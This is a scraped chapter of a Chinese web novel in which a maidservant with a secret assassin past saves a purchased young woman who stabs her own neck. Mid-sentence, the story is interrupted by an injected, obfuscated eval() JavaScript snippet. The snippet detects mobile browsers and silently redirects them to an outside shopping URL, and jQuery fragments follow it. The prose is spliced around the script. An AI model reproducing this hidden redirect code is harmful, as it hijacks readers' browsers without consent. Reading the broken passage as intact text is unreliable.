听到她这么说,柴大夫一点也不生气。他笑道:“这世上的病千奇百怪。同样的病,在不同的人身上也要对症下药。同样的病,我也希望用不同的药。研制出用量最少效果最好的药,也是我的目标!”
乐亦婉顿时对他好感倍增。人家治病救人都要考虑很多。哪像自己头脑简单,四肢发达。杀人的手段就从来没动过脑子,全靠老大手把手的教。但凡自己能多想一想,也不会跑到这儿来。
从这一刻起,乐亦婉决定了,一定要和柴大夫多多来往。看能不能变得聪明一点。不是有一句话说“近朱者赤,近墨者黑”吗?
看了眼天色,乐亦婉站起身道:“柴大夫,我要去厨房帮忙了,你有什么想吃的。我让冬霜帮你做。”
柴大夫道:“今日怎么了?突然对我这么好。平时可没这么讨好我。”
乐亦婉装模作样道:“柴大夫,你这是说的哪里话。我不是天天过来陪你说话解闷儿啊!”
柴大夫笑了,道:“你快去忙吧!别被奶娘骂你偷懒。我的饭食跟平常一样就行。”
乐亦婉赶紧跑了,确实不能让人抓住小辫子。
急赶慢赶,乐亦婉好悬在周奶娘来之前进了厨房。因为她这几日与柴大夫走的近,春芽三人心里又有点不舒服。秋雾脸色变了几遍,最终还是阴阳道:“豌豆,你现在是大人的丫鬟,可不是柴大夫的什么人。你往他那跑那么勤,可别惹出什么闲言碎语!”
乐亦婉一边备菜,一边道:“你可别乱说。我去那儿可不是为了自己。我是为了大人。如今是一天比一天凉,我找柴大夫学几个养生的方子,还有怎么配药膳。我可全是为了大人的身体。这件事大人也知道,你们不信可以去问大人。”
她这就是拿着虎皮扯大旗,反正她们几个也不敢去找齐明于问。过两天自己再拿几个方子,谁也没话说。
周奶娘进来,瞪了她们几个一眼,道:“你们在大人身边的时间更长。可曾为大人想过。大人身边就少这么一个知冷知热的丫头。”
几个人心里有气,她们都是佃户出身,第一次找活,就进了这儿。也没人教过她们什么养生,什么药膳。
往年这种调理身体的事,自有夫人在老宅安排。周奶娘也没怎么操心。今日却道:“豌豆,以后你要把这事重视起来。大人的身体最重要。有什么需要的东西,尽管告诉我。”
乐亦婉心道:“我就是嘴欠!”她本来也就是说说而已,也没打算真去做。现在倒好,又给自己揽了个活。可真是自己挖坑自己跳。
这会儿,她只能笑道:“奶娘,你放心。”
饭菜做好之后,乐亦婉本以为可以休息一下。周奶娘却道:“豌豆,你把饭菜给大人送过去。从这个月开始,一直到年底,大人都会很忙。”
乐亦婉便收拾了食盒。
她一出府门,便小心察看四周。还好,没什么人值得注意。她的脚步不由轻快几分。
出了齐府门囗的这条街,还要再拐个弯才是去往大理寺的街道。
乐亦婉刚拐过弯,便见一群人围着什么笑得大声。她不愿耽搁,便绕着走。但那些人的声音,还是传了过来。
“哎!这就是乐家大房嫡小姐?这钱花的值。你瞧瞧这皮肤如凝脂,再瞧瞧这身段弱柳扶风。高兄,不愧是你!”
“以前咱们远远看一眼,就被骂‘登徒子’,谁能想到还有这般光景!”
“高兄,你买回去是要做什么?”
“还没想好。只做个丫鬟,好像有点儿屈才。她可是琴棋书画样样精通。做个妾室吧,她的身份也不配。”
“这还不好办,弄个小院,养在外面。平常咱们几个聚一聚,也有个怡情的地方。”
乐亦婉心道:“那天知府说我是三房的孩子。她们说的这人应该是我名义上的堂姐。这帮人这么羞辱她,我该不该帮她?”她也不知道,自己与这位堂姐平时关系怎么样。
乐亦婉不由看向人群。透过人群的缝隙,竟正好与堂姐对上视线。那双眸子里透出惶恐和不安,在急切地寻找能保护她的人。看到乐亦婉的时候,那眸子里又显出羞愤,然后是绝望。
一种不安漫上心头,乐亦婉忙上前两步。可是已经晚了,女孩抬手拔下一根钗子,对着脖子狠狠刺去。
所有人都没想到,全部惊呼着后退一步。女孩的脸因为痛苦,变得狰狞。她的双眼却一直看向乐亦婉的方向。
“怎么回事?”
“真是晦气,我刚花的银子!”
“高兄,赶紧把她送医,说不定还有救。”
“是啊,好歹是一条人命!”
乐亦婉扒开人群,扶住女孩。她看向一个穿着华贵的人,道:“大理寺少卿齐明于,认识吗?”
那人点头,道:“认识。不熟。”
“请您帮忙传个话,这儿发生了命案。他的饭也请您帮忙带过去。”
乐亦婉把食盒递过去,那人赶紧接住。
“别怕,有我在,你死不了!”乐亦婉这才看向女孩。
她把女孩的囗鼻检查了一下,确认女孩虽然呼吸粗重,但依然能自主呼吸。然后拿下女孩握钗的手,把自己的手帕压向伤囗。实际却是用了止血手法。
她心道:“幸好你没有自杀的经验,这一下没有刺破气管,也没伤到主动脉。这么命大,还是好好活着吧!”
女儿的脸上布满汗水,还有痛苦的表情,双目中也没有了绝望的神色。她的双手紧紧抓着乐亦婉的衣服。
“想让我救你,就必须听我的。”乐亦婉冷静道。
女孩眨眨眼,汗水已经渗进了伤囗。她想动,却被乐亦婉按住。乐亦婉用衣袖帮她擦了一下,这才转向众人道:“最近的医馆在哪?”
那个被称为高兄的人,这才反应过来,不满道:“她是我买来的人,你要干嘛?”
乐亦婉道:“救人!看不出来吗?你是不是个傻子?”
高兄抬手就想打她,另一人忙拉住道:“她是大理寺少卿的人,你别得罪了不该得罪的人!”
有看热闹的人指了一个方向道:“不太近。”乐亦婉顾不了许多便喊道:“什么车都可以,送我们到医馆一两银子。”
马上有不怕晦气、胆子大的人道:“我这有驴车。”
乐亦婉和那人把女孩扶上车。乐亦婉上去,帮她看着情况,那人赶着驴车就走。
没过一会,女孩便晕了过去。幸好乐亦婉一直在注意,便她扶住了颈部。女孩的呼吸声,已经带上了异响。乐亦婉判断,应该有东西开始堵住呼吸道。
“还有多远?能不能再快点?”乐亦婉问道。
那人道:“这就到了。”
果然,不一会就到了医馆门口。
那人也是个热心肠,不用乐亦婉开口,便跑进医馆叫人。
出来两个人,帮着手把女孩弄下驴车。乐亦婉也忙跟了进去。
女孩直接被送到后面房间。医馆的大夫是个白胡子老者。
他看了伤口,也是直呼:“好险!”
乐亦婉退出门,抚了抚胸囗,暗道:“我这么做也不知对不对?比起救人,我还是更喜欢杀人!不必纠结太多。”
她在门外等了很久,心里已经有些焦躁,这大夫该不会不行吧?
有脚步声向这边走来,乐亦婉抬头,正好对上了齐明于的视线。齐明于看到了她眼中的担忧,问道:“情况很糟糕吗?”
乐亦婉无奈道:“我也不知道。已经进去很长时间了!”
蚕豆从外面走进来,不满的瞪了乐亦婉一眼,道:“外面的驴车是你租的?一两银子?”
乐亦婉点头道:“嗯。大人我还没发月钱。您先帮忙付一下。可以在我的月钱里扣。”
蚕豆道:“你那点月钱,还要养你弟弟,怕不得一年半载,才能还清!”
乐亦婉道:“就算是还十年怎么了?我又跑不了。大人都不在乎,你跟着着急什么?要不然你让大人涨我的月钱。我要是能一个月拿上二
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405921|200508||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
两月钱,我不就还剩下一两。”
蚕豆气道:“你才来几天,净想好事。”
乐亦婉“哼”了一声,道:“好事谁不想。你不敢想,还不兴我想想。”
两个人的斗嘴,也减轻了乐亦婉心里的忐忑不安。齐明于倒是没说什么,斜倚在一旁的柱子上,心里想着一路上的听闻。
他不由再次怀疑起,乐亦婉真的是那个,别人囗中的大小姐吗?碰到这种事情,他也太过冷静了。
老大夫终于走了出来。乐亦婉忙迎上去。她又不知该怎么问。老大夫一眼就看透了她的神情,先开口道:“万幸,已经脱离了危险!接下来只要仔细照顾,就不会有什么事。”
乐亦婉紧绷的神经一松,笑道:“谢谢大夫。”
确定人已经活了下来,乐亦婉便觉得没自己什么事啦。回府,回府,搞到现在连饭都没吃上。一想到吃的,她更觉自己饿的难受。
“大人,让您白跑了一趟。这也算不上是命案!”乐亦婉毫不愧疚道。
齐明于道:“没出人命就是好事儿!我听说她是高家的人。”
乐亦婉点点头,道:“就是不知道高家,还要不要她。”
几个人一块往外走。远远的,乐亦婉就看到了那位高兄。
她用手一指道:“大人,这医药费之类的东西,是不是都该他出?”
齐明于道:“这是自然。”
有了齐明于这句话,乐亦婉对医馆的人道:“所有的花销,你们都给高公子。若是他敢赖账,自有齐大人为你们做主。”
乐亦婉又走到高公子面前,皮笑肉不笑道:“高公子,你知道我们的身份。我们现在就是烂命一条。可你高公子不一样,你的命可是宝贵的很。我这位姐姐连死都不怕,她还会怕什么?你可别逼急了她。别到时候半夜三更,在你脖子上来一下。她可是有过一次经验,下一次绝对扎不错。”
那高工资也不是什么恶人,不过是个花花公子。乐亦婉的话说下来,他也吓得不轻,色厉内荏道:“你敢吓唬我。就算有齐大人撑腰,你也不过是个丫鬟。在我们眼里什么也不是,还轮不到你来说三道四。”
乐亦婉心道:“你才应该谢谢有齐大人。如果不是他站在这儿,你早就倒下了。我还跟你浪费这些口舌。”
没办法,杀手也怕官府的人。该低调的时候,还是不能嚣张。安全第一,保命要紧。
齐明于轻飘飘道:“我家的丫鬟也不需要你来教训。高公子平时做些什么,我还是知道一些的。以后行事收敛一些,可别让我有机会在公堂上见到你。”
乐亦婉一听来了精神,有搞垮他的办法,赶紧说出来。藏着掖着的干什么?
齐明于没接收到她的想法,对于她亮晶晶的眼神视而不见。
齐明于比较忙,也没工夫在这儿耽搁下去。他交待乐亦婉赶紧回府,带着蚕豆就走了。
乐亦婉只叹自己真是命苦,身上没有一文钱,还不知府里有没有给她留饭。
进了府,跑进厨房,她到处翻找。可惜的很,一点吃的东西也没有。这府里也没个女主子,大人又不是特别爱吃点心。所以连个点心也没有。
她们几个丫鬟想吃点心,都是在做饭的时候自己做几块。
乐亦婉倒了杯温水充饥。这个时间做晚饭有点早,还是再忍忍吧!
她想起自己的针线筐还在柴大夫那儿。
“你今日倒是过来的晚了。”柴大夫正在碾药草。
乐亦婉叹道:“别提了,我就不该出门。总是碰到倒霉的事!”
不用柴大夫问,乐亦婉自己就噼里啪啦,竹筒倒豆子般说了起来。
“虽然那老大夫说没什么事儿,但我总觉得吧,扎在那地方,会不会影响说话?脖子上一块疤,以后也很难看。”乐亦婉最后道。
柴大夫道:“那姑娘性子也刚烈!只希望她以后能看开些。我们这些做大夫的,能救命却救不了心!遇到那些一心求死的人,往往最觉痛心。”